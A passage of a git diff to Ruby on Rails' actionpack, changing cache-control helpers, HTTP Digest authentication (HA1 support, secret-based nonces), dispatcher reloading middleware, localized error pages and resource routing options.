s.require_path = 'lib'
s.autorequire = 'action_controller'
diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb
index eb596ba40e..e435bdbae1 100644
--- a/actionpack/lib/action_controller.rb
+++ b/actionpack/lib/action_controller.rb
@@ -32,6 +32,13 @@ rescue LoadError
end
require File.join(File.dirname(__FILE__), "action_pack")
+$:.unshift "#{File.dirname(__FILE__)}/action_controller/vendor/rack-1.0"
+begin
+ gem 'rack', '~> 1.0.0'
+ require 'rack'
+rescue Gem::LoadError
+ require 'action_controller/vendor/rack-1.0/rack'
+end
module ActionController
# TODO: Review explicit to see if they will automatically be handled by
@@ -57,6 +64,7 @@ module ActionController
autoload :PolymorphicRoutes, 'action_controller/routing/generation/polymorphic_routes'
autoload :RecordIdentifier, 'action_controller/record_identifier'
autoload :Redirector, 'action_controller/base/redirect'
+ autoload :Reloader, 'action_controller/reloader'
autoload :Renderer, 'action_controller/base/render'
autoload :RequestForgeryProtection, 'action_controller/base/request_forgery_protection'
autoload :Rescue, 'action_controller/dispatch/rescue'
@@ -72,6 +80,9 @@ module ActionController
autoload :UrlRewriter, 'action_controller/routing/generation/url_rewriter'
autoload :UrlWriter, 'action_controller/routing/generation/url_rewriter'
autoload :Verification, 'action_controller/base/verification'
+ autoload :UploadedFile, 'action_dispatch/utils/uploaded_file'
+ autoload :UploadedStringIO, 'action_dispatch/utils/uploaded_file'
+ autoload :UploadedTempfile, 'action_dispatch/utils/uploaded_file'
module Assertions
autoload :DomAssertions, 'action_controller/testing/assertions/dom'
diff --git a/actionpack/lib/action_controller/base/base.rb b/actionpack/lib/action_controller/base/base.rb
index 7a745ea040..aea434ffa0 100644
--- a/actionpack/lib/action_controller/base/base.rb
+++ b/actionpack/lib/action_controller/base/base.rb
@@ -22,7 +22,7 @@ module ActionController #:nodoc:
attr_reader :allowed_methods
def initialize(*allowed_methods)
- super("Only #{allowed_methods.to_sentence} requests are allowed.")
+ super("Only #{allowed_methods.to_sentence(:locale => :en)} requests are allowed.")
@allowed_methods = allowed_methods
end
@@ -394,7 +394,7 @@ module ActionController #:nodoc:
# Return an array containing the names of public methods that have been marked hidden from the action processor.
# By default, all methods defined in ActionController::Base and included modules are hidden.
- # More methods can be hidden using <tt>hide_actions</tt>.
+ # More methods can be hidden using <tt>hide_action</tt>.
def hidden_actions
read_inheritable_attribute(:hidden_actions) || write_inheritable_attribute(:hidden_actions, [])
end
@@ -690,6 +690,11 @@ module ActionController #:nodoc:
# request is considered stale and should be generated from scratch. Otherwise,
# it's fresh and we don't need to generate anything and a reply of "304 Not Modified" is sent.
#
+ # Parameters:
+ # * <tt>:etag</tt>
+ # * <tt>:last_modified</tt>
+ # * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
+ #
# Example:
#
# def show
@@ -710,20 +715,34 @@ module ActionController #:nodoc:
# Sets the etag, last_modified, or both on the response and renders a
# "304 Not Modified" response if the request is already fresh.
#
+ # Parameters:
+ # * <tt>:etag</tt>
+ # * <tt>:last_modified</tt>
+ # * <tt>:public</tt> By default the Cache-Control header is private, set this to true if you want your application to be cachable by other devices (proxy caches).
+ #
# Example:
#
# def show
# @article = Article.find(params[:id])
- # fresh_when(:etag => @article, :last_modified => @article.created_at.utc)
+ # fresh_when(:etag => @article, :last_modified => @article.created_at.utc, :public => true)
# end
#
# This will render the show template if the request isn't sending a matching etag or
# If-Modified-Since header and just a "304 Not Modified" response if there's a match.
+ #
def fresh_when(options)
- options.assert_valid_keys(:etag, :last_modified)
+ options.assert_valid_keys(:etag, :last_modified, :public)
response.etag = options[:etag] if options[:etag]
response.last_modified = options[:last_modified] if options[:last_modified]
+
+ if options[:public]
+ cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
+ cache_control.delete("private")
+ cache_control.delete("no-cache")
+ cache_control << "public"
+ response.headers["Cache-Control"] = cache_control.join(', ')
+ end
if request.fresh?(response)
head :not_modified
@@ -735,15 +754,26 @@ module ActionController #:nodoc:
#
# Examples:
# expires_in 20.minutes
- # expires_in 3.hours, :private => false
- # expires in 3.hours, 'max-stale' => 5.hours, :private => nil, :public => true
+ # expires_in 3.hours, :public => true
+ # expires in 3.hours, 'max-stale' => 5.hours, :public => true
#
# This method will overwrite an existing Cache-Control header.
# See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
def expires_in(seconds, options = {}) #:doc:
- cache_options = { 'max-age' => seconds, 'private' => true }.symbolize_keys.merge!(options.symbolize_keys)
- cache_options.delete_if { |k,v| v.nil? or v == false }
- cache_control = cache_options.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
+ cache_control = response.headers["Cache-Control"].split(",").map {|k| k.strip }
+
+ cache_control << "max-age=#{seconds}"
+ cache_control.delete("no-cache")
+ if options[:public]
+ cache_control.delete("private")
+ cache_control << "public"
+ else
+ cache_control << "private"
+ end
+
+ # This allows for additional headers to be passed through like 'max-stale' => 5.hours
+ cache_control += options.symbolize_keys.reject{|k,v| k == :public || k == :private }.map{ |k,v| v == true ? k.to_s : "#{k.to_s}=#{v.to_s}"}
+
response.headers["Cache-Control"] = cache_control.join(', ')
end
@@ -839,6 +869,7 @@ module ActionController #:nodoc:
end
end
+ # Returns true if a render or redirect has already been performed.
def performed?
@performed_render || @performed_redirect
end
@@ -857,6 +888,7 @@ module ActionController #:nodoc:
@request_origin ||= "#{request.remote_ip} at #{Time.now.to_s(:db)}"
end
+ # Returns the request URI used to get to the current location
def complete_request_uri
"#{request.protocol}#{request.host}#{request.request_uri}"
end
diff --git a/actionpack/lib/action_controller/base/cookies.rb b/actionpack/lib/action_controller/base/cookies.rb
index 840ceb5abd..ca380e98d0 100644
--- a/actionpack/lib/action_controller/base/cookies.rb
+++ b/actionpack/lib/action_controller/base/cookies.rb
@@ -41,7 +41,7 @@ module ActionController #:nodoc:
# * <tt>:expires</tt> - The time at which this cookie expires, as a Time object.
# * <tt>:secure</tt> - Whether this cookie is a only transmitted to HTTPS servers.
# Default is +false+.
- # * <tt>:http_only</tt> - Whether this cookie is accessible via scripting or
+ # * <tt>:httponly</tt> - Whether this cookie is accessible via scripting or
# only HTTP. Defaults to +false+.
module Cookies
def self.included(base)
diff --git a/actionpack/lib/action_controller/base/http_authentication.rb b/actionpack/lib/action_controller/base/http_authentication.rb
index 5d915fda08..b6b5267c66 100644
--- a/actionpack/lib/action_controller/base/http_authentication.rb
+++ b/actionpack/lib/action_controller/base/http_authentication.rb
@@ -68,8 +68,11 @@ module ActionController
#
# Simple Digest example:
#
+ # require 'digest/md5'
# class PostsController < ApplicationController
- # USERS = {"dhh" => "secret"}
+ # REALM = "SuperSecret"
+ # USERS = {"dhh" => "secret", #plain text password
+ # "dap" => Digest:MD5::hexdigest(["dap",REALM,"secret"].join(":")) #ha1 digest password
#
# before_filter :authenticate, :except => [:index]
#
@@ -83,14 +86,18 @@ module ActionController
#
# private
# def authenticate
- # authenticate_or_request_with_http_digest(realm) do |username|
+ # authenticate_or_request_with_http_digest(REALM) do |username|
# USERS[username]
# end
# end
# end
#
- # NOTE: The +authenticate_or_request_with_http_digest+ block must return the user's password so the framework can appropriately
- # hash it to check the user's credentials. Returning +nil+ will cause authentication to fail.
+ # NOTE: The +authenticate_or_request_with_http_digest+ block must return the user's password or the ha1 digest hash so the framework can appropriately
+ # hash to check the user's credentials. Returning +nil+ will cause authentication to fail.
+ # Storing the ha1 hash: MD5(username:realm:password), is better than storing a plain password. If
+ # the password file or database is compromised, the attacker would be able to use the ha1 hash to
+ # authenticate as the user at this +realm+, but would not have the user's password to try using at
+ # other sites.
#
# On shared hosts, Apache sometimes doesn't pass authentication headers to
# FCGI instances. If your environment matches this description and you cannot
@@ -177,26 +184,37 @@ module ActionController
end
# Raises error unless the request credentials response value matches the expected value.
+ # First try the password as a ha1 digest password. If this fails, then try it as a plain
+ # text password.
def validate_digest_response(request, realm, &password_procedure)
credentials = decode_credentials_header(request)
valid_nonce = validate_nonce(request, credentials[:nonce])
- if valid_nonce && realm == credentials[:realm] && opaque(request.session.session_id) == credentials[:opaque]
+ if valid_nonce && realm == credentials[:realm] && opaque == credentials[:opaque]
password = password_procedure.call(credentials[:username])
- expected = expected_response(request.env['REQUEST_METHOD'], request.url, credentials, password)
- expected == credentials[:response]
+
+ [true, false].any? do |password_is_ha1|
+ expected = expected_response(request.env['REQUEST_METHOD'], request.env['REQUEST_URI'], credentials, password, password_is_ha1)
+ expected == credentials[:response]
+ end
end
end
# Returns the expected response for a request of +http_method+ to +uri+ with the decoded +credentials+ and the expected +password+
- def expected_response(http_method, uri, credentials, password)
- ha1 = ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(':'))
+ # Optional parameter +password_is_ha1+ is set to +true+ by default, since best practice is to store ha1 digest instead
+ # of a plain-text password.
+ def expected_response(http_method, uri, credentials, password, password_is_ha1=true)
+ ha1 = password_is_ha1 ? password : ha1(credentials, password)
ha2 = ::Digest::MD5.hexdigest([http_method.to_s.upcase, uri].join(':'))
::Digest::MD5.hexdigest([ha1, credentials[:nonce], credentials[:nc], credentials[:cnonce], credentials[:qop], ha2].join(':'))
end
- def encode_credentials(http_method, credentials, password)
- credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password)
+ def ha1(credentials, password)
+ ::Digest::MD5.hexdigest([credentials[:username], credentials[:realm], password].join(':'))
+ end
+
+ def encode_credentials(http_method, credentials, password, password_is_ha1)
+ credentials[:response] = expected_response(http_method, credentials[:uri], credentials, password, password_is_ha1)
"Digest " + credentials.sort_by {|x| x[0].to_s }.inject([]) {|a, v| a << "#{v[0]}='#{v[1]}'" }.join(', ')
end
@@ -213,8 +231,7 @@ module ActionController
end
def authentication_header(controller, realm)
- session_id = controller.request.session.session_id
- controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce(session_id)}", opaque="#{opaque(session_id)}")
+ controller.headers["WWW-Authenticate"] = %(Digest realm="#{realm}", qop="auth", algorithm=MD5, nonce="#{nonce}", opaque="#{opaque}")
end
def authentication_request(controller, realm, message = nil)
@@ -252,23 +269,36 @@ module ActionController
# POST or PUT requests and a time-stamp for GET requests. For more details on the issues involved see Section 4
# of this document.
#
- # The nonce is opaque to the client.
- def nonce(session_id, time = Time.now)
+ # The nonce is opaque to the client. Composed of Time, and hash of Time with secret
+ # key from the Rails session secret generated upon creation of project. Ensures
+ # the time cannot be modifed by client.
+ def nonce(time = Time.now)
t = time.to_i
- hashed = [t, session_id]
+ hashed = [t, secret_key]
digest = ::Digest::MD5.hexdigest(hashed.join(":"))
Base64.encode64("#{t}:#{digest}").gsub("\n", '')
end
- def validate_nonce(request, value)
+ # Might want a shorter timeout depending on whether the request
+ # is a PUT or POST, and if client is browser or web service.
+ # Can be much shorter if the Stale directive is implemented. This would
+ # allow a user to use new nonce without prompting user again for their
+ # username and password.
+ def validate_nonce(request, value, seconds_to_timeout=5*60)
t = Base64.decode64(value).split(":").first.to_i
- nonce(request.session.session_id, t) == value && (t - Time.now.to_i).abs <= 10 * 60
+ nonce(t) == value && (t - Time.now.to_i).abs <= seconds_to_timeout
end
- # Opaque based on digest of session_id
- def opaque(session_id)
- Base64.encode64(::Digest::MD5::hexdigest(session_id)).gsub("\n", '')
+ # Opaque based on random generation - but changing each request?
+ def opaque()
+ ::Digest::MD5.hexdigest(secret_key)
end
+
+ # Set in /initializers/session_store.rb, and loaded even if sessions are not in use.
+ def secret_key
+ ActionController::Base.session_options[:secret]
+ end
+
end
end
end
diff --git a/actionpack/lib/action_controller/base/redirect.rb b/actionpack/lib/action_controller/base/redirect.rb
index 83af793978..2e92117e7c 100644
--- a/actionpack/lib/action_controller/base/redirect.rb
+++ b/actionpack/lib/action_controller/base/redirect.rb
@@ -49,7 +49,6 @@ module ActionController
end
response.redirected_to = options
- logger.info("Redirected to #{options}") if logger && logger.info?
case options
# The scheme name consist of a letter followed by any combination of
@@ -72,6 +71,7 @@ module ActionController
def redirect_to_full_url(url, status)
raise DoubleRenderError if performed?
+ logger.info("Redirected to #{url}") if logger && logger.info?
response.redirect(url, interpret_status(status))
@performed_redirect = true
end
diff --git a/actionpack/lib/action_controller/base/render.rb b/actionpack/lib/action_controller/base/render.rb
index abba059969..c4a3725079 100644
--- a/actionpack/lib/action_controller/base/render.rb
+++ b/actionpack/lib/action_controller/base/render.rb
@@ -197,7 +197,17 @@ module ActionController
raise DoubleRenderError, "Can only render or redirect once per action" if performed?
options = { :layout => true } if options.nil?
- original, options = options, extra_options unless options.is_a?(Hash)
+
+ # This handles render "string", render :symbol, and render object
+ # render string and symbol are handled by render_for_name
+ # render object becomes render :partial => object
+ unless options.is_a?(Hash)
+ if options.is_a?(String) || options.is_a?(Symbol)
+ original, options = options, extra_options
+ else
+ extra_options[:partial], options = options, extra_options
+ end
+ end
layout_name = options.delete(:layout)
@@ -300,6 +310,7 @@ module ActionController
# of sending it as the response body to the browser.
def render_to_string(options = nil, &block) #:doc:
render(options, &block)
+ response.body
ensure
response.content_type = nil
erase_render_results
@@ -308,7 +319,7 @@ module ActionController
# Clears the rendered results, allowing for another render to be performed.
def erase_render_results #:nodoc:
- response.body = nil
+ response.body = []
@performed_render = false
end
@@ -360,8 +371,9 @@ module ActionController
def render_for_parts(parts, layout, options = {})
tmp = view_paths.find_by_parts(*parts)
- layout = _pick_layout(*layout) unless tmp.exempt_from_layout?
+ layout = _pick_layout(*layout) unless tmp.exempt_from_layout?
+
render_for_text(
@template._render_template_with_layout(tmp, layout, options, parts[3]))
end
diff --git a/actionpack/lib/action_controller/base/responder.rb b/actionpack/lib/action_controller/base/responder.rb
index f83abb5a4b..989f82444b 100644
--- a/actionpack/lib/action_controller/base/responder.rb
+++ b/actionpack/lib/action_controller/base/responder.rb
@@ -20,6 +20,7 @@ module ActionController
end
end
+ # Returns a set of the methods defined as actions in your controller
def action_methods
self.class.action_methods
end
diff --git a/actionpack/lib/action_controller/base/streaming.rb b/actionpack/lib/action_controller/base/streaming.rb
index e1786913a7..9f80f48c3d 100644
--- a/actionpack/lib/action_controller/base/streaming.rb
+++ b/actionpack/lib/action_controller/base/streaming.rb
@@ -1,5 +1,6 @@
module ActionController #:nodoc:
- # Methods for sending files and streams to the browser instead of rendering.
+ # Methods for sending arbitrary data and for streaming files to the browser,
+ # instead of rendering.
module Streaming
DEFAULT_SEND_FILE_OPTIONS = {
:type => 'application/octet-stream'.freeze,
@@ -103,8 +104,11 @@ module ActionController #:nodoc:
end
end
- # Send binary data to the user as a file download. May set content type, apparent file name,
- # and specify whether to show data inline or download as an attachment.
+ # Sends the given binary data to the browser. This method is similar to
+ # <tt>render :text => data</tt>, but also allows you to specify whether
+ # the browser should display the response as a file attachment (i.e. in a
+ # download dialog) or as inline data. You may also set the content type,
+ # the apparent file name, and other things.
#
# Options:
# * <tt>:filename</tt> - suggests a filename for the browser to use.
@@ -127,6 +131,10 @@ module ActionController #:nodoc:
# send_data image.data, :type => image.content_type, :disposition => 'inline'
#
# See +send_file+ for more information on HTTP Content-* headers and caching.
+ #
+ # <b>Tip:</b> if you want to stream large amounts of on-the-fly generated
+ # data to the browser, then use <tt>render :text => proc { ... }</tt>
+ # instead. See ActionController::Base#render for more information.
def send_data(data, options = {}) #:doc:
logger.info "Sending data #{options[:filename]}" if logger
send_file_headers! options.merge(:length => data.size)
@@ -152,7 +160,7 @@ module ActionController #:nodoc:
end
content_type = content_type.to_s.strip # fixes a problem with extra '\r' with some browsers
- headers.update(
+ headers.merge!(
'Content-Length' => options[:length],
'Content-Type' => content_type,
'Content-Disposition' => disposition,
diff --git a/actionpack/lib/action_controller/base/verification.rb b/actionpack/lib/action_controller/base/verification.rb
index 7bf09ba6ea..c62b81b666 100644
--- a/actionpack/lib/action_controller/base/verification.rb
+++ b/actionpack/lib/action_controller/base/verification.rb
@@ -90,7 +90,7 @@ module ActionController #:nodoc:
def verify_action(options) #:nodoc:
if prereqs_invalid?(options)
flash.update(options[:add_flash]) if options[:add_flash]
- response.headers.update(options[:add_headers]) if options[:add_headers]
+ response.headers.merge!(options[:add_headers]) if options[:add_headers]
apply_remaining_actions(options) unless performed?
end
end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
index 1d14df0052..80d13e25f1 100644
--- a/actionpack/lib/action_controller/caching.rb
+++ b/actionpack/lib/action_controller/caching.rb
@@ -27,6 +27,7 @@ module ActionController #:nodoc:
autoload :Actions, 'action_controller/caching/actions'
autoload :Fragments, 'action_controller/caching/fragments'
autoload :Pages, 'action_controller/caching/pages'
+ autoload :Sweeper, 'action_controller/caching/sweeping'
autoload :Sweeping, 'action_controller/caching/sweeping'
def self.included(base) #:nodoc:
diff --git a/actionpack/lib/action_controller/caching/actions.rb b/actionpack/lib/action_controller/caching/actions.rb
index 34e1c3527f..87b5029e57 100644
--- a/actionpack/lib/action_controller/caching/actions.rb
+++ b/actionpack/lib/action_controller/caching/actions.rb
@@ -129,24 +129,23 @@ module ActionController #:nodoc:
attr_reader :path, :extension
class << self
- def path_for(controller, options, infer_extension=true)
+ def path_for(controller, options, infer_extension = true)
new(controller, options, infer_extension).path
end
end
# When true, infer_extension will look up the cache path extension from the request's path & format.
- # This is desirable when reading and writing the cache, but not when expiring the cache - expire_action should expire the same files regardless of the request format.
- def initialize(controller, options = {}, infer_extension=true)
- if infer_extension and options.is_a? Hash
- request_extension = extract_extension(controller.request)
- options = options.reverse_merge(:format => request_extension)
+ # This is desirable when reading and writing the cache, but not when expiring the cache -
+ # expire_action should expire the same files regardless of the request format.
+ def initialize(controller, options = {}, infer_extension = true)
+ if infer_extension
+ extract_extension(controller.request)
+ options = options.reverse_merge(:format => @extension) if options.is_a?(Hash)
end
+
path = controller.url_for(options).split('://').last
normalize!(path)
- if infer_extension
- @extension = request_extension
- add_extension!(path, @extension)
- end
+ add_extension!(path, @extension)
@path = URI.unescape(path)
end
@@ -162,13 +161,7 @@ module ActionController #:nodoc:
def extract_extension(request)
# Don't want just what comes after the last '.' to accommodate multi part extensions
# such as tar.gz.
- extension = request.path[/^[^.]+\.(.+)$/, 1]
-
- # If there's no extension in the path, check request.format
- if extension.nil?
- extension = request.cache_format
- end
- extension
+ @extension = request.path[/^[^.]+\.(.+)$/, 1] || request.cache_format
end
end
end
diff --git a/actionpack/lib/action_controller/cgi/process.rb b/actionpack/lib/action_controller/cgi/process.rb
index ffcad5666a..34b97776f5 100644
--- a/actionpack/lib/action_controller/cgi/process.rb
+++ b/actionpack/lib/action_controller/cgi/process.rb
@@ -45,6 +45,11 @@ module ActionController #:nodoc:
out.sync = false if out.respond_to?(:sync=)
headers['Status'] = status.to_s
+
+ if headers.include?('Set-Cookie')
+ headers['cookie'] = headers.delete('Set-Cookie').split("\n")
+ end
+
out.write(cgi.header(headers))
body.each { |part|
diff --git a/actionpack/lib/action_controller/dispatch/dispatcher.rb b/actionpack/lib/action_controller/dispatch/dispatcher.rb
index e205245f13..74c72e1a8b 100644
--- a/actionpack/lib/action_controller/dispatch/dispatcher.rb
+++ b/actionpack/lib/action_controller/dispatch/dispatcher.rb
@@ -5,15 +5,14 @@ module ActionController
class << self
def define_dispatcher_callbacks(cache_classes)
unless cache_classes
- # Development mode callbacks
- before_dispatch :reload_application
- after_dispatch :cleanup_application
+ unless self.middleware.include?(Reloader)
+ self.middleware.insert_after(ActionDispatch::Failsafe, Reloader)
+ end
ActionView::Helpers::AssetTagHelper.cache_asset_timestamps = false
end
if defined?(ActiveRecord)
- after_dispatch :checkin_connections
to_prepare(:activerecord_instantiate_observers) { ActiveRecord::Base.instantiate_observers }
end
@@ -42,6 +41,30 @@ module ActionController
callback = ActiveSupport::Callbacks::Callback.new(:prepare_dispatch, block, :identifier => identifier)
@prepare_dispatch_callbacks.replace_or_append!(callback)
end
+
+ def run_prepare_callbacks
+ if defined?(Rails) && Rails.logger
+ logger = Rails.logger
+ else
+ logger = Logger.new($stderr)
+ end
+
+ new(logger).send :run_callbacks, :prepare_dispatch
+ end
+
+ def reload_application
+ # Run prepare callbacks before every request in development mode
+ run_prepare_callbacks
+
+ Routing::Routes.reload
+ end
+
+ def cleanup_application
+ # Cleanup the application before processing the current request.
+ ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord)
+ ActiveSupport::Dependencies.clear
+ ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord)
+ end
end
cattr_accessor :middleware
@@ -88,29 +111,8 @@ module ActionController
dispatch
end
- def reload_application
- # Run prepare callbacks before every request in development mode
- run_callbacks :prepare_dispatch
-
- Routing::Routes.reload
- end
-
- # Cleanup the application by clearing out loaded classes so they can
- # be reloaded on the next request without restarting the server.
- def cleanup_application
- ActiveRecord::Base.reset_subclasses if defined?(ActiveRecord)
- ActiveSupport::Dependencies.clear
- ActiveRecord::Base.clear_reloadable_connections! if defined?(ActiveRecord)
- end
-
def flush_logger
Base.logger.flush
end
-
- def checkin_connections
- # Don't return connection (and peform implicit rollback) if this request is a part of integration test
- return if @env.key?("rack.test")
- ActiveRecord::Base.clear_active_connections!
- end
end
end
diff --git a/actionpack/lib/action_controller/dispatch/middlewares.rb b/actionpack/lib/action_controller/dispatch/middlewares.rb
index 3bf3dbebab..b62b4f84a1 100644
--- a/actionpack/lib/action_controller/dispatch/middlewares.rb
+++ b/actionpack/lib/action_controller/dispatch/middlewares.rb
@@ -4,18 +4,10 @@ use "Rack::Lock", :if => lambda {
use "ActionDispatch::Failsafe"
-["ActionDispatch::Session::CookieStore",
- "ActionDispatch::Session::MemCacheStore",
- "ActiveRecord::SessionStore"].each do |store|
- use(store, ActionController::Base.session_options,
- :if => lambda {
- if session_store = ActionController::Base.session_store
- session_store.name == store
- end
- }
- )
-end
+use lambda { ActionController::Base.session_store },
+ lambda { ActionController::Base.session_options }
use "ActionDispatch::RewindableInput"
use "ActionDispatch::ParamsParser"
use "Rack::MethodOverride"
+use "Rack::Head"
diff --git a/actionpack/lib/action_controller/dispatch/rescue.rb b/actionpack/lib/action_controller/dispatch/rescue.rb
index df0a976204..ec9eff65a9 100644
--- a/actionpack/lib/action_controller/dispatch/rescue.rb
+++ b/actionpack/lib/action_controller/dispatch/rescue.rb
@@ -99,13 +99,19 @@ module ActionController #:nodoc:
# Attempts to render a static error page based on the
# <tt>status_code</tt> thrown, or just return headers if no such file
- # exists. For example, if a 500 error is being handled Rails will first
- # attempt to render the file at <tt>public/500.html</tt>. If the file
- # doesn't exist, the body of the response will be left empty.
+ # exists. At first, it will try to render a localized static page.
+ # For example, if a 500 error is being handled Rails and locale is :da,
+ # it will first attempt to render the file at <tt>public/500.da.html</tt>
+ # then attempt to render <tt>public/500.html</tt>. If none of them exist,
+ # the body of the response will be left empty.
def render_optional_error_file(status_code)
status = interpret_status(status_code)
- path = "#{Rails.public_path}/#{status.to_s[0,3]}.html"
- if File.exist?(path)
+ locale_path = "#{Rails.public_path}/#{status[0,3]}.#{I18n.locale}.html" if I18n.locale
+ path = "#{Rails.public_path}/#{status[0,3]}.html"
+
+ if locale_path && File.exist?(locale_path)
+ render :file => locale_path, :status => status, :content_type => Mime::HTML
+ elsif File.exist?(path)
render :file => path, :status => status, :content_type => Mime::HTML
else
head status
diff --git a/actionpack/lib/action_controller/reloader.rb b/actionpack/lib/action_controller/reloader.rb
new file mode 100644
index 0000000000..46789309cd
--- /dev/null
+++ b/actionpack/lib/action_controller/reloader.rb
@@ -0,0 +1,14 @@
+module ActionController
+ class Reloader
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ Dispatcher.reload_application
+ @app.call(env)
+ ensure
+ Dispatcher.cleanup_application
+ end
+ end
+end
diff --git a/actionpack/lib/action_controller/routing.rb b/actionpack/lib/action_controller/routing.rb
index a2141a77dc..c0eb61340b 100644
--- a/actionpack/lib/action_controller/routing.rb
+++ b/actionpack/lib/action_controller/routing.rb
@@ -267,7 +267,7 @@ module ActionController
module Routing
SEPARATORS = %w( / . ? )
- HTTP_METHODS = [:get, :head, :post, :put, :delete]
+ HTTP_METHODS = [:get, :head, :post, :put, :delete, :options]
ALLOWED_REQUIREMENTS_FOR_OPTIMISATION = [:controller, :action].to_set
diff --git a/actionpack/lib/action_controller/routing/builder.rb b/actionpack/lib/action_controller/routing/builder.rb
index 44d759444a..d9590c88b8 100644
--- a/actionpack/lib/action_controller/routing/builder.rb
+++ b/actionpack/lib/action_controller/routing/builder.rb
@@ -159,7 +159,8 @@ module ActionController
path = "/#{path}" unless path[0] == ?/
path = "#{path}/" unless path[-1] == ?/
- path = "/#{options[:path_prefix].to_s.gsub(/^\//,'')}#{path}" if options[:path_prefix]
+ prefix = options[:path_prefix].to_s.gsub(/^\//,'')
+ path = "/#{prefix}#{path}" unless prefix.blank?
segments = segments_for_route_path(path)
defaults, requirements, conditions = divide_route_options(segments, options)
diff --git a/actionpack/lib/action_controller/routing/generation/polymorphic_routes.rb b/actionpack/lib/action_controller/routing/generation/polymorphic_routes.rb
index 924d1aa6bd..d9b614c237 100644
--- a/actionpack/lib/action_controller/routing/generation/polymorphic_routes.rb
+++ b/actionpack/lib/action_controller/routing/generation/polymorphic_routes.rb
@@ -163,7 +163,8 @@ module ActionController
if parent.is_a?(Symbol) || parent.is_a?(String)
string << "#{parent}_"
else
- string << "#{RecordIdentifier.__send__("singular_class_name", parent)}_"
+ string << "#{RecordIdentifier.__send__("plural_class_name", parent)}".singularize
+ string << "_"
end
end
end
@@ -171,7 +172,9 @@ module ActionController
if record.is_a?(Symbol) || record.is_a?(String)
route << "#{record}_"
else
- route << "#{RecordIdentifier.__send__("#{inflection}_class_name", record)}_"
+ route << "#{RecordIdentifier.__send__("plural_class_name", record)}"
+ route = route.singularize if inflection == :singular
+ route << "_"
end
action_prefix(options) + namespace + route + routing_type(options).to_s
diff --git a/actionpack/lib/action_controller/routing/generation/url_rewriter.rb b/actionpack/lib/action_controller/routing/generation/url_rewriter.rb
index bb6cb437b7..16720b915b 100644
--- a/actionpack/lib/action_controller/routing/generation/url_rewriter.rb
+++ b/actionpack/lib/action_controller/routing/generation/url_rewriter.rb
@@ -68,29 +68,17 @@ module ActionController
# This generates, among other things, the method <tt>users_path</tt>. By default,
# this method is accessible from your controllers, views and mailers. If you need
# to access this auto-generated method from other places (such as a model), then
- # you can do that in two ways.
- #
- # The first way is to include ActionController::UrlWriter in your class:
+ # you can do that by including ActionController::UrlWriter in your class:
#
# class User < ActiveRecord::Base
- # include ActionController::UrlWriter # !!!
+ # include ActionController::UrlWriter
#
- # def name=(value)
- # write_attribute('name', value)
- # write_attribute('base_uri', users_path) # !!!
+ # def base_uri
+ # user_path(self)
# end
# end
#
- # The second way is to access them through ActionController::UrlWriter.
- # The autogenerated named routes methods are available as class methods:
- #
- # class User < ActiveRecord::Base
- # def name=(value)
- # write_attribute('name', value)
- # path = ActionController::UrlWriter.users_path # !!!
- # write_attribute('base_uri', path) # !!!
- # end
- # end
+ # User.find(1).base_uri # => "/users/1"
module UrlWriter
def self.included(base) #:nodoc:
ActionController::Routing::Routes.install_helpers(base)
diff --git a/actionpack/lib/action_controller/routing/recognition_optimisation.rb b/actionpack/lib/action_controller/routing/recognition_optimisation.rb
index ebc553512f..9bfebff0c0 100644
--- a/actionpack/lib/action_controller/routing/recognition_optimisation.rb
+++ b/actionpack/lib/action_controller/routing/recognition_optimisation.rb
@@ -98,7 +98,6 @@ module ActionController
if Array === item
i += 1
start = (i == 1)
- final = (i == list.size)
tag, sub = item
if tag == :dynamic
body += padding + "#{start ? 'if' : 'elsif'} true\n"
diff --git a/actionpack/lib/action_controller/routing/resources.rb b/actionpack/lib/action_controller/routing/resources.rb
index e8988aa737..86abb7b2f4 100644
--- a/actionpack/lib/action_controller/routing/resources.rb
+++ b/actionpack/lib/action_controller/routing/resources.rb
@@ -42,7 +42,7 @@ module ActionController
#
# Read more about REST at http://en.wikipedia.org/wiki/Representational_State_Transfer
module Resources
- INHERITABLE_OPTIONS = :namespace, :shallow, :actions
+ INHERITABLE_OPTIONS = :namespace, :shallow
class Resource #:nodoc:
DEFAULT_ACTIONS = :index, :create, :new, :edit, :show, :update, :destroy
@@ -91,7 +91,7 @@ module ActionController
end
def shallow_path_prefix
- @shallow_path_prefix ||= "#{path_prefix unless @options[:shallow]}"
+ @shallow_path_prefix ||= @options[:shallow] ? @options[:namespace].try(:sub, /\/$/, '') : path_prefix
end
def member_path
@@ -103,7 +103,7 @@ module ActionController
end
def shallow_name_prefix
- @shallow_name_prefix ||= "#{name_prefix unless @options[:shallow]}"
+ @shallow_name_prefix ||= @options[:shallow] ? @options[:namespace].try(:gsub, /\//, '_') : name_prefix
end
def nesting_name_prefix
@@ -119,7 +119,7 @@ module ActionController
end
def has_action?(action)
- !DEFAULT_ACTIONS.include?(action) || @options[:actions].nil? || @options[:actions].include?(action)
+ !DEFAULT_ACTIONS.include?(action) || action_allowed?(action)
end
protected
@@ -135,24 +135,29 @@ module ActionController
end
def set_allowed_actions
- only = @options.delete(:only)
- except = @options.delete(:except)
+ only, except = @options.values_at(:only, :except)
+ @allowed_actions ||= {}
- if only && except
- raise ArgumentError, 'Please supply either :only or :except, not both.'
- elsif only == :all || except == :none
- options[:actions] = DEFAULT_ACTIONS
+ if only == :all || except == :none
+ only = nil
+ except = []
elsif only == :none || except == :all
- options[:actions] = []
- elsif only
- options[:actions] = DEFAULT_ACTIONS & Array(only).map(&:to_sym)
+ only = []
+ except = nil
+ end
+
+ if only
+ @allowed_actions[:only] = Array(only).map(&:to_sym)
elsif except
- options[:actions] = DEFAULT_ACTIONS - Array(except).map(&:to_sym)
- else
- # leave options[:actions] alone
+ @allowed_actions[:except] = Array(except).map(&:to_sym)
end
end
+ def action_allowed?(action)
